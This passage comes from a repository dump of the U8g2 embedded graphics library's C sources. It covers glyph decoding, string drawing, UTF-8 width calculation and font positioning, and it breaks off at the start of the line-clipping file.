/* total number of remaining pixels, which have to be drawn */ uint8_t rem; /* remaining pixel to the right edge of the glyph */ uint8_t current; /* number of pixels, which need to be drawn for the draw procedure */ /* current is either equal to cnt or equal to rem */ /* local coordinates of the glyph */ uint8_t lx,ly; /* target position on the screen */ u8g2_uint_t x, y; u8g2_font_decode_t *decode = &(u8g2->font_decode); cnt = len; /* get the local position */ lx = decode->x; ly = decode->y; for(;;) { /* calculate the number of pixel to the right edge of the glyph */ rem = decode->glyph_width; rem -= lx; /* calculate how many pixel to draw. This is either to the right edge */ /* or lesser, if not enough pixel are left */ current = rem; if ( cnt < rem ) current = cnt; /* now draw the line, but apply the rotation around the glyph target position */ //u8g2_font_decode_draw_pixel(u8g2, lx,ly,current, is_foreground); /* get target position */ x = decode->target_x; y = decode->target_y; /* apply rotation */ #ifdef U8G2_WITH_FONT_ROTATION x = u8g2_add_vector_x(x, lx, ly, decode->dir); y = u8g2_add_vector_y(y, lx, ly, decode->dir); //u8g2_add_vector(&x, &y, lx, ly, decode->dir); #else x += lx; y += ly; #endif /* draw foreground and background (if required) */ if ( is_foreground ) { u8g2->draw_color = decode->fg_color; /* draw_color will be restored later */ u8g2_DrawHVLine(u8g2, x, y, current, #ifdef U8G2_WITH_FONT_ROTATION /* dir */ decode->dir #else 0 #endif ); } else if ( decode->is_transparent == 0 ) { u8g2->draw_color = decode->bg_color; /* draw_color will be restored later */ u8g2_DrawHVLine(u8g2, x, y, current, #ifdef U8G2_WITH_FONT_ROTATION /* dir */ decode->dir #else 0 #endif ); } /* check, whether the end of the run length code has been reached */ if ( cnt < rem ) break; cnt -= rem; lx = 0; ly++; } lx += cnt; decode->x = lx; decode->y = ly; } void u8g2_font_2x_decode_len(u8g2_t *u8g2, uint8_t len, uint8_t is_foreground) { uint8_t cnt; /* total number of remaining pixels, which have to be drawn */ uint8_t rem; /* remaining pixel to the right edge of the glyph */ uint8_t current; /* number of pixels, which need to be drawn for the draw procedure */ /* current is either equal to cnt or equal to rem */ /* local coordinates of the glyph */ uint8_t lx,ly; /* target position on the screen */ u8g2_uint_t x, y; u8g2_font_decode_t *decode = &(u8g2->font_decode); cnt = len; /* get the local position */ lx = decode->x; ly = decode->y; for(;;) { /* calculate the number of pixel to the right edge of the glyph */ rem = decode->glyph_width; rem -= lx; /* calculate how many pixel to draw. This is either to the right edge */ /* or lesser, if not enough pixel are left */ current = rem; if ( cnt < rem ) current = cnt; /* now draw the line, but apply the rotation around the glyph target position */ //u8g2_font_decode_draw_pixel(u8g2, lx,ly,current, is_foreground); /* get target position */ x = decode->target_x; y = decode->target_y; x += lx*2; y += ly*2; /* draw foreground and background (if required) */ if ( is_foreground ) { u8g2->draw_color = decode->fg_color; /* draw_color will be restored later */ u8g2_DrawHVLine(u8g2, x, y, current*2, 0 ); u8g2_DrawHVLine(u8g2, x, y+1, current*2, 0 ); } else if ( decode->is_transparent == 0 ) { u8g2->draw_color = decode->bg_color; /* draw_color will be restored later */ u8g2_DrawHVLine(u8g2, x, y, current*2, 0 ); u8g2_DrawHVLine(u8g2, x, y+1, current*2, 0 ); } /* check, whether the end of the run length code has been reached */ if ( cnt < rem ) break; cnt -= rem; lx = 0; ly++; } lx += cnt; decode->x = lx; decode->y = ly; } static void u8g2_font_setup_decode(u8g2_t *u8g2, const uint8_t *glyph_data) { u8g2_font_decode_t *decode = &(u8g2->font_decode); decode->decode_ptr = glyph_data; decode->decode_bit_pos = 0; /* 8 Nov 2015, this is already done in the glyph data search procedure */ /* decode->decode_ptr += 1; decode->decode_ptr += 1; */ decode->glyph_width = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_char_width); decode->glyph_height = u8g2_font_decode_get_unsigned_bits(decode,u8g2->font_info.bits_per_char_height); decode->fg_color = u8g2->draw_color; decode->bg_color = (decode->fg_color == 0 ? 1 : 0); } /* Description: Decode and draw a glyph. Args: glyph_data: Pointer to the compressed glyph data of the font u8g2->font_decode.target_x X position u8g2->font_decode.target_y Y position u8g2->font_decode.is_transparent Transparent mode Return: Width (delta x advance) of the glyph. Calls: u8g2_font_decode_len() */ /* optimized */ int8_t u8g2_font_decode_glyph(u8g2_t *u8g2, const uint8_t *glyph_data) { uint8_t a, b; int8_t x, y; int8_t d; int8_t h; u8g2_font_decode_t *decode = &(u8g2->font_decode); u8g2_font_setup_decode(u8g2, glyph_data); /* set values in u8g2->font_decode data structure */ h = u8g2->font_decode.glyph_height; x = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_x); y = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_y); d = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_delta_x); if ( decode->glyph_width > 0 ) { #ifdef U8G2_WITH_FONT_ROTATION decode->target_x = u8g2_add_vector_x(decode->target_x, x, -(h+y), decode->dir); decode->target_y = u8g2_add_vector_y(decode->target_y, x, -(h+y), decode->dir); //u8g2_add_vector(&(decode->target_x), &(decode->target_y), x, -(h+y), decode->dir); #else decode->target_x += x; decode->target_y -= h+y; #endif //u8g2_add_vector(&(decode->target_x), &(decode->target_y), x, -(h+y), decode->dir); #ifdef U8G2_WITH_INTERSECTION { u8g2_uint_t x0, x1, y0, y1; x0 = decode->target_x; y0 = decode->target_y; x1 = x0; y1 = y0; #ifdef U8G2_WITH_FONT_ROTATION switch(decode->dir) { case 0: x1 += decode->glyph_width; y1 += h; break; case 1: x0 -= h; x0++; /* shift down, because of assymetric boundaries for the interseciton test */ x1++; y1 += decode->glyph_width; break; case 2: x0 -= decode->glyph_width; x0++; /* shift down, because of assymetric boundaries for the interseciton test */ x1++; y0 -= h; y0++; /* shift down, because of assymetric boundaries for the interseciton test */ y1++; break; case 3: x1 += h; y0 -= decode->glyph_width; y0++; /* shift down, because of assymetric boundaries for the interseciton test */ y1++; break; } #else /* U8G2_WITH_FONT_ROTATION */ x1 += decode->glyph_width; y1 += h; #endif if ( u8g2_IsIntersection(u8g2, x0, y0, x1, y1) == 0 ) return d; } #endif /* U8G2_WITH_INTERSECTION */ /* reset local x/y position */ decode->x = 0; decode->y = 0; /* decode glyph */ for(;;) { a = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_0); b = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_1); do { u8g2_font_decode_len(u8g2, a, 0); u8g2_font_decode_len(u8g2, b, 1); } while( u8g2_font_decode_get_unsigned_bits(decode, 1) != 0 ); if ( decode->y >= h ) break; } /* restore the u8g2 draw color, because this is modified by the decode algo */ u8g2->draw_color = decode->fg_color; } return d; } int8_t u8g2_font_2x_decode_glyph(u8g2_t *u8g2, const uint8_t *glyph_data) { uint8_t a, b; int8_t x, y; int8_t d; int8_t h; u8g2_font_decode_t *decode = &(u8g2->font_decode); u8g2_font_setup_decode(u8g2, glyph_data); /* set values in u8g2->font_decode data structure */ h = u8g2->font_decode.glyph_height; x = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_x); y = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_char_y); d = u8g2_font_decode_get_signed_bits(decode, u8g2->font_info.bits_per_delta_x); if ( decode->glyph_width > 0 ) { decode->target_x += x; decode->target_y -= 2*h+y; #ifdef U8G2_WITH_INTERSECTION { u8g2_uint_t x0, x1, y0, y1; x0 = decode->target_x; y0 = decode->target_y; x1 = x0; y1 = y0; x1 += 2*decode->glyph_width; y1 += 2*h; if ( u8g2_IsIntersection(u8g2, x0, y0, x1, y1) == 0 ) return d; } #endif /* U8G2_WITH_INTERSECTION */ /* reset local x/y position */ decode->x = 0; decode->y = 0; /* decode glyph */ for(;;) { a = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_0); b = u8g2_font_decode_get_unsigned_bits(decode, u8g2->font_info.bits_per_1); do { u8g2_font_2x_decode_len(u8g2, a, 0); u8g2_font_2x_decode_len(u8g2, b, 1); } while( u8g2_font_decode_get_unsigned_bits(decode, 1) != 0 ); if ( decode->y >= h ) break; } /* restore the u8g2 draw color, because this is modified by the decode algo */ u8g2->draw_color = decode->fg_color; } return d*2; } /* Description: Find the starting point of the glyph data. Args: encoding: Encoding (ASCII or Unicode) of the glyph Return: Address of the glyph data or NULL, if the encoding is not avialable in the font. */ const uint8_t *u8g2_font_get_glyph_data(u8g2_t *u8g2, uint16_t encoding) { const uint8_t *font = u8g2->font; font += U8G2_FONT_DATA_STRUCT_SIZE; if ( encoding <= 255 ) { if ( encoding >= 'a' ) { font += u8g2->font_info.start_pos_lower_a; } else if ( encoding >= 'A' ) { font += u8g2->font_info.start_pos_upper_A; } for(;;) { if ( u8x8_pgm_read( font + 1 ) == 0 ) break; if ( u8x8_pgm_read( font ) == encoding ) { return font+2; /* skip encoding and glyph size */ } font += u8x8_pgm_read( font + 1 ); } } #ifdef U8G2_WITH_UNICODE else { uint16_t e; const uint8_t *unicode_lookup_table; // removed, there is now the new index table //#ifdef __unix__ // if ( u8g2->last_font_data != NULL && encoding >= u8g2->last_unicode ) // { // font = u8g2->last_font_data; // } // else //#endif font += u8g2->font_info.start_pos_unicode; unicode_lookup_table = font; /* issue 596: search for the glyph start in the unicode lookup table */ do { font += u8g2_font_get_word(unicode_lookup_table, 0); e = u8g2_font_get_word(unicode_lookup_table, 2); unicode_lookup_table+=4; } while( e < encoding ); for(;;) { e = u8x8_pgm_read( font ); e <<= 8; e |= u8x8_pgm_read( font + 1 ); // removed, there is now the new index table //#ifdef __unix__ // if ( encoding < e ) // break; //#endif if ( e == 0 ) break; if ( e == encoding ) { // removed, there is now the new index table //#ifdef __unix__ // u8g2->last_font_data = font; // u8g2->last_unicode = encoding; //#endif return font+3; /* skip encoding and glyph size */ } font += u8x8_pgm_read( font + 2 ); } } #endif return NULL; } static u8g2_uint_t u8g2_font_draw_glyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { u8g2_uint_t dx = 0; u8g2->font_decode.target_x = x; u8g2->font_decode.target_y = y; //u8g2->font_decode.is_transparent = is_transparent; this is already set //u8g2->font_decode.dir = dir; const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, encoding); if ( glyph_data != NULL ) { dx = u8g2_font_decode_glyph(u8g2, glyph_data); } return dx; } static u8g2_uint_t u8g2_font_2x_draw_glyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { u8g2_uint_t dx = 0; u8g2->font_decode.target_x = x; u8g2->font_decode.target_y = y; const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, encoding); if ( glyph_data != NULL ) { dx = u8g2_font_2x_decode_glyph(u8g2, glyph_data); } return dx; } uint8_t u8g2_IsGlyph(u8g2_t *u8g2, uint16_t requested_encoding) { /* updated to new code */ if ( u8g2_font_get_glyph_data(u8g2, requested_encoding) != NULL ) return 1; return 0; } /* side effect: updates u8g2->font_decode and u8g2->glyph_x_offset */ int8_t u8g2_GetGlyphWidth(u8g2_t *u8g2, uint16_t requested_encoding) { const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, requested_encoding); if ( glyph_data == NULL ) return 0; u8g2_font_setup_decode(u8g2, glyph_data); u8g2->glyph_x_offset = u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_x); u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_y); /* glyph width is here: u8g2->font_decode.glyph_width */ return u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_delta_x); } /* set one of: U8G2_FONT_MODE_TRANSPARENT U8G2_FONT_MODE_SOLID U8G2_FONT_MODE_NONE This has been changed for the new font procedures */ void u8g2_SetFontMode(u8g2_t *u8g2, uint8_t is_transparent) { u8g2->font_decode.is_transparent = is_transparent; // new font procedures } u8g2_uint_t u8g2_DrawGlyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { #ifdef U8G2_WITH_FONT_ROTATION switch(u8g2->font_decode.dir) { case 0: y += u8g2->font_calc_vref(u8g2); break; case 1: x -= u8g2->font_calc_vref(u8g2); break; case 2: y -= u8g2->font_calc_vref(u8g2); break; case 3: x += u8g2->font_calc_vref(u8g2); break; } #else y += u8g2->font_calc_vref(u8g2); #endif return u8g2_font_draw_glyph(u8g2, x, y, encoding); } u8g2_uint_t u8g2_DrawGlyphX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { y += 2*u8g2->font_calc_vref(u8g2); return u8g2_font_2x_draw_glyph(u8g2, x, y, encoding); } static u8g2_uint_t u8g2_draw_string(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) U8G2_NOINLINE; static u8g2_uint_t u8g2_draw_string(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) { uint16_t e; u8g2_uint_t delta, sum; u8x8_utf8_init(u8g2_GetU8x8(u8g2)); sum = 0; for(;;) { e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( e == 0x0ffff ) break; str++; if ( e != 0x0fffe ) { delta = u8g2_DrawGlyph(u8g2, x, y, e); #ifdef U8G2_WITH_FONT_ROTATION switch(u8g2->font_decode.dir) { case 0: x += delta; break; case 1: y += delta; break; case 2: x -= delta; break; case 3: y -= delta; break; } /* // requires 10 bytes more on avr x = u8g2_add_vector_x(x, delta, 0, u8g2->font_decode.dir); y = u8g2_add_vector_y(y, delta, 0, u8g2->font_decode.dir); */ #else x += delta; #endif sum += delta; } } return sum; } static u8g2_uint_t u8g2_draw_string_2x(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) U8G2_NOINLINE; static u8g2_uint_t u8g2_draw_string_2x(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) { uint16_t e; u8g2_uint_t delta, sum; u8x8_utf8_init(u8g2_GetU8x8(u8g2)); sum = 0; for(;;) { e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( e == 0x0ffff ) break; str++; if ( e != 0x0fffe ) { delta = u8g2_DrawGlyphX2(u8g2, x, y, e); x += delta; sum += delta; } } return sum; } u8g2_uint_t u8g2_DrawStr(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) { u8g2->u8x8.next_cb = u8x8_ascii_next; return u8g2_draw_string(u8g2, x, y, str); } u8g2_uint_t u8g2_DrawStrX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) { u8g2->u8x8.next_cb = u8x8_ascii_next; return u8g2_draw_string_2x(u8g2, x, y, str); } /* source: https://en.wikipedia.org/wiki/UTF-8 Bits from to bytes Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 7 U+0000 U+007F 1 0xxxxxxx 11 U+0080 U+07FF 2 110xxxxx 10xxxxxx 16 U+0800 U+FFFF 3 1110xxxx 10xxxxxx 10xxxxxx 21 U+10000 U+1FFFFF 4 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 31 U+4000000 U+7FFFFFFF 6 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx */ u8g2_uint_t u8g2_DrawUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) { u8g2->u8x8.next_cb = u8x8_utf8_next; return u8g2_draw_string(u8g2, x, y, str); } u8g2_uint_t u8g2_DrawUTF8X2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str) { u8g2->u8x8.next_cb = u8x8_utf8_next; return u8g2_draw_string_2x(u8g2, x, y, str); } u8g2_uint_t u8g2_DrawExtendedUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, u8g2_kerning_t *kerning, const char *str) { u8g2->u8x8.next_cb = u8x8_utf8_next; uint16_t e_prev = 0x0ffff; uint16_t e; u8g2_uint_t delta, sum, k; u8x8_utf8_init(u8g2_GetU8x8(u8g2)); sum = 0; for(;;) { e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( e == 0x0ffff ) break; str++; if ( e != 0x0fffe ) { delta = u8g2_GetGlyphWidth(u8g2, e); if ( to_left ) { k = u8g2_GetKerning(u8g2, kerning, e, e_prev); delta -= k; x -= delta; } else { k = u8g2_GetKerning(u8g2, kerning, e_prev, e); delta -= k; } e_prev = e; u8g2_DrawGlyph(u8g2, x, y, e); if ( to_left ) { } else { x += delta; x -= k; } sum += delta; } } return sum; } u8g2_uint_t u8g2_DrawExtUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, const uint16_t *kerning_table, const char *str) { u8g2->u8x8.next_cb = u8x8_utf8_next; uint16_t e_prev = 0x0ffff; uint16_t e; u8g2_uint_t delta, sum, k; u8x8_utf8_init(u8g2_GetU8x8(u8g2)); sum = 0; for(;;) { e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( e == 0x0ffff ) break; str++; if ( e != 0x0fffe ) { delta = u8g2_GetGlyphWidth(u8g2, e); if ( to_left ) { k = u8g2_GetKerningByTable(u8g2, kerning_table, e, e_prev); delta -= k; x -= delta; } else { k = u8g2_GetKerningByTable(u8g2, kerning_table, e_prev, e); delta -= k; } e_prev = e; if ( to_left ) { } else { x += delta; } u8g2_DrawGlyph(u8g2, x, y, e); if ( to_left ) { } else { //x += delta; //x -= k; } sum += delta; } } return sum; } /*===============================================*/ /* set ascent/descent for reference point calculation */ void u8g2_UpdateRefHeight(u8g2_t *u8g2) { if ( u8g2->font == NULL ) return; u8g2->font_ref_ascent = u8g2->font_info.ascent_A; u8g2->font_ref_descent = u8g2->font_info.descent_g; if ( u8g2->font_height_mode == U8G2_FONT_HEIGHT_MODE_TEXT ) { } else if ( u8g2->font_height_mode == U8G2_FONT_HEIGHT_MODE_XTEXT ) { if ( u8g2->font_ref_ascent < u8g2->font_info.ascent_para ) u8g2->font_ref_ascent = u8g2->font_info.ascent_para; if ( u8g2->font_ref_descent > u8g2->font_info.descent_para ) u8g2->font_ref_descent = u8g2->font_info.descent_para; } else { if ( u8g2->font_ref_ascent < u8g2->font_info.max_char_height+u8g2->font_info.y_offset ) u8g2->font_ref_ascent = u8g2->font_info.max_char_height+u8g2->font_info.y_offset; if ( u8g2->font_ref_descent > u8g2->font_info.y_offset ) u8g2->font_ref_descent = u8g2->font_info.y_offset; } } void u8g2_SetFontRefHeightText(u8g2_t *u8g2) { u8g2->font_height_mode = U8G2_FONT_HEIGHT_MODE_TEXT; u8g2_UpdateRefHeight(u8g2); } void u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2) { u8g2->font_height_mode = U8G2_FONT_HEIGHT_MODE_XTEXT; u8g2_UpdateRefHeight(u8g2); } void u8g2_SetFontRefHeightAll(u8g2_t *u8g2) { u8g2->font_height_mode = U8G2_FONT_HEIGHT_MODE_ALL; u8g2_UpdateRefHeight(u8g2); } /*===============================================*/ /* callback procedures to correct the y position */ u8g2_uint_t u8g2_font_calc_vref_font(U8X8_UNUSED u8g2_t *u8g2) { return 0; } void u8g2_SetFontPosBaseline(u8g2_t *u8g2) { u8g2->font_calc_vref = u8g2_font_calc_vref_font; } u8g2_uint_t u8g2_font_calc_vref_bottom(u8g2_t *u8g2) { return (u8g2_uint_t)(u8g2->font_ref_descent); } void u8g2_SetFontPosBottom(u8g2_t *u8g2) { u8g2->font_calc_vref = u8g2_font_calc_vref_bottom; } u8g2_uint_t u8g2_font_calc_vref_top(u8g2_t *u8g2) { u8g2_uint_t tmp; /* reference pos is one pixel above the upper edge of the reference glyph */ tmp = (u8g2_uint_t)(u8g2->font_ref_ascent); tmp++; return tmp; } void u8g2_SetFontPosTop(u8g2_t *u8g2) { u8g2->font_calc_vref = u8g2_font_calc_vref_top; } u8g2_uint_t u8g2_font_calc_vref_center(u8g2_t *u8g2) { int8_t tmp; tmp = u8g2->font_ref_ascent; tmp -= u8g2->font_ref_descent; tmp /= 2; tmp += u8g2->font_ref_descent; return tmp; } void u8g2_SetFontPosCenter(u8g2_t *u8g2) { u8g2->font_calc_vref = u8g2_font_calc_vref_center; } /*===============================================*/ void u8g2_SetFont(u8g2_t *u8g2, const uint8_t *font) { if ( u8g2->font != font ) { //#ifdef __unix__ // u8g2->last_font_data = NULL; // u8g2->last_unicode = 0x0ffff; //#endif u8g2->font = font; u8g2_read_font_info(&(u8g2->font_info), font); u8g2_UpdateRefHeight(u8g2); /* u8g2_SetFontPosBaseline(u8g2); */ /* removed with issue 195 */ } } /*===============================================*/ static uint8_t u8g2_is_all_valid(u8g2_t *u8g2, const char *str) U8G2_NOINLINE; static uint8_t u8g2_is_all_valid(u8g2_t *u8g2, const char *str) { uint16_t e; u8x8_utf8_init(u8g2_GetU8x8(u8g2)); for(;;) { e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( e == 0x0ffff ) break; str++; if ( e != 0x0fffe ) { if ( u8g2_font_get_glyph_data(u8g2, e) == NULL ) return 0; } } return 1; } uint8_t u8g2_IsAllValidUTF8(u8g2_t *u8g2, const char *str) { u8g2->u8x8.next_cb = u8x8_utf8_next; return u8g2_is_all_valid(u8g2, str); } /* string calculation is stilll not 100% perfect as it addes the initial string offset to the overall size */ static u8g2_uint_t u8g2_string_width(u8g2_t *u8g2, const char *str) U8G2_NOINLINE; static u8g2_uint_t u8g2_string_width(u8g2_t *u8g2, const char *str) { uint16_t e; u8g2_uint_t w, dx; #ifdef U8G2_BALANCED_STR_WIDTH_CALCULATION int8_t initial_x_offset = -64; #endif u8g2->font_decode.glyph_width = 0; u8x8_utf8_init(u8g2_GetU8x8(u8g2)); /* reset the total width to zero, this will be expanded during calculation */ w = 0; dx = 0; // printf("str=<%s>\n", str); for(;;) { e = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( e == 0x0ffff ) break; str++; if ( e != 0x0fffe ) { dx = u8g2_GetGlyphWidth(u8g2, e); /* delta x value of the glyph */ #ifdef U8G2_BALANCED_STR_WIDTH_CALCULATION if ( initial_x_offset == -64 ) initial_x_offset = u8g2->glyph_x_offset; #endif //printf("'%c' x=%d dx=%d w=%d io=%d ", e, u8g2->glyph_x_offset, dx, u8g2->font_decode.glyph_width, initial_x_offset); w += dx; } } //printf("\n"); /* adjust the last glyph, check for issue #16: do not adjust if width is 0 */ if ( u8g2->font_decode.glyph_width != 0 ) { //printf("string width adjust dx=%d glyph_width=%d x-offset=%d\n", dx, u8g2->font_decode.glyph_width, u8g2->glyph_x_offset); w -= dx; w += u8g2->font_decode.glyph_width; /* the real pixel width of the glyph, sideeffect of GetGlyphWidth */ /* issue #46: we have to add the x offset also */ w += u8g2->glyph_x_offset; /* this value is set as a side effect of u8g2_GetGlyphWidth() */ #ifdef U8G2_BALANCED_STR_WIDTH_CALCULATION /* https://github.com/olikraus/u8g2/issues/1561 */ if ( initial_x_offset > 0 ) w+=initial_x_offset; #endif } // printf("w=%d \n", w); return w; } static void u8g2_GetGlyphHorizontalProperties(u8g2_t *u8g2, uint16_t requested_encoding, uint8_t *w, int8_t *ox, int8_t *dx) { const uint8_t *glyph_data = u8g2_font_get_glyph_data(u8g2, requested_encoding); if ( glyph_data == NULL ) return; u8g2_font_setup_decode(u8g2, glyph_data); *w = u8g2->font_decode.glyph_width; *ox = u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_x); u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_char_y); *dx = u8g2_font_decode_get_signed_bits(&(u8g2->font_decode), u8g2->font_info.bits_per_delta_x); } /* u8g compatible GetStrX function */ int8_t u8g2_GetStrX(u8g2_t *u8g2, const char *s) { uint8_t w; int8_t dx; int8_t ox = 0; u8g2_GetGlyphHorizontalProperties(u8g2, *s, &w, &ox, &dx); return ox; } /* Warning: This function needs to be fixed. I think it was taken over from u8glib, but not fixed as of now The main difference for this procedure compared to the normal get width, should be, that the initial offset is removed Idea: for the user interface it probably would be better to add the xoffset of the first char to the end, so that the overall word looks better. Maybe then the procedure should be called differently, maybe balanced width instead of exact width u8g2_calculate_exact_string_width is now OBSOLETE, instead the above str width calculation has been updated: https://github.com/olikraus/u8g2/issues/1561 */ #ifdef OBSOLETE static u8g2_uint_t u8g2_calculate_exact_string_width(u8g2_t *u8g2, const char *str) { const char *s = str; uint16_t enc; u8g2_uint_t w; uint8_t cnt; uint8_t gw; int8_t ox, dx; /* reset the total minimal width to zero, this will be expanded during calculation */ w = 0; /* check for empty string, width is already 0 */ cnt = 0; for(;;) { enc = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*s); if ( enc == 0x0ffff ) break; s++; if ( enc != 0x0fffe ) { if ( cnt == 0 ) { /* get glyph properties of the first char */ u8g2_GetGlyphHorizontalProperties(u8g2, enc, &gw, &ox, &dx); } cnt++; if ( cnt > 2 ) break; } } if ( cnt == 0 ) return 0; if ( cnt == 1 ) return gw; /* strlen(s) == 1: width = width(s[0]) */ /* strlen(s) == 2: width = - offx(s[0]) + deltax(s[0]) + offx(s[1]) + width(s[1]) */ /* strlen(s) == 3: width = - offx(s[0]) + deltax(s[0]) + deltax(s[1]) + offx(s[2]) + width(s[2]) */ /* assume that the string has size 2 or more, than start with negative offset-x */ /* for string with size 1, this will be nullified after the loop */ w = -ox; for(;;) { enc = u8g2->u8x8.next_cb(u8g2_GetU8x8(u8g2), (uint8_t)*str); if ( enc== 0x0ffff ) break; str++; if ( enc != 0x0fffe ) { u8g2_GetGlyphHorizontalProperties(u8g2, enc, &gw, &ox, &dx); /* if there are still more characters, add the delta to the next glyph */ w += dx; } } /* finally calculate the width of the last char */ /* here is another exception, if the last char is a blank, use the dx value instead */ if ( gw != 0 ) { w -= dx; /* remove the last dx */ /* if g was not updated in the for loop (strlen() == 1), then the initial offset x gets removed */ w += gw; w += ox; } else { //w += dx; } return w; } #endif u8g2_uint_t u8g2_GetStrWidth(u8g2_t *u8g2, const char *s) { u8g2->u8x8.next_cb = u8x8_ascii_next; return u8g2_string_width(u8g2, s); } /* OBSOLETE u8g2_uint_t u8g2_GetExactStrWidth(u8g2_t *u8g2, const char *s) { u8g2->u8x8.next_cb = u8x8_ascii_next; return u8g2_calculate_exact_string_width(u8g2, s); } */ /* source: https://en.wikipedia.org/wiki/UTF-8 Bits from to bytes Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 7 U+0000 U+007F 1 0xxxxxxx 11 U+0080 U+07FF 2 110xxxxx 10xxxxxx 16 U+0800 U+FFFF 3 1110xxxx 10xxxxxx 10xxxxxx 21 U+10000 U+1FFFFF 4 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 31 U+4000000 U+7FFFFFFF 6 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx */ u8g2_uint_t u8g2_GetUTF8Width(u8g2_t *u8g2, const char *str) { u8g2->u8x8.next_cb = u8x8_utf8_next; return u8g2_string_width(u8g2, str); } void u8g2_SetFontDirection(u8g2_t *u8g2, uint8_t dir) { #ifdef U8G2_WITH_FONT_ROTATION u8g2->font_decode.dir = dir; #endif } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_fonts.c ================================================ [File too large to display: 29.8 MB] ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_hvline.c ================================================ /* u8g2_hvline.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Calltree void u8g2_DrawHVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) u8g2->cb->draw_l90 u8g2_draw_hv_line_2dir u8g2->ll_hvline(u8g2, x, y, len, dir); */ #include "u8g2.h" #include /*==========================================================*/ /* intersection procedure */ /* Description: clip range from pos a (included) with line len (a+len excluded) agains c (included) to d (excluded) Assumptions: len > 0 c <= d (this is not checked) will return 0 if there is no intersection and if a > b */ static uint8_t u8g2_clip_intersection2(u8g2_uint_t *ap, u8g2_uint_t *len, 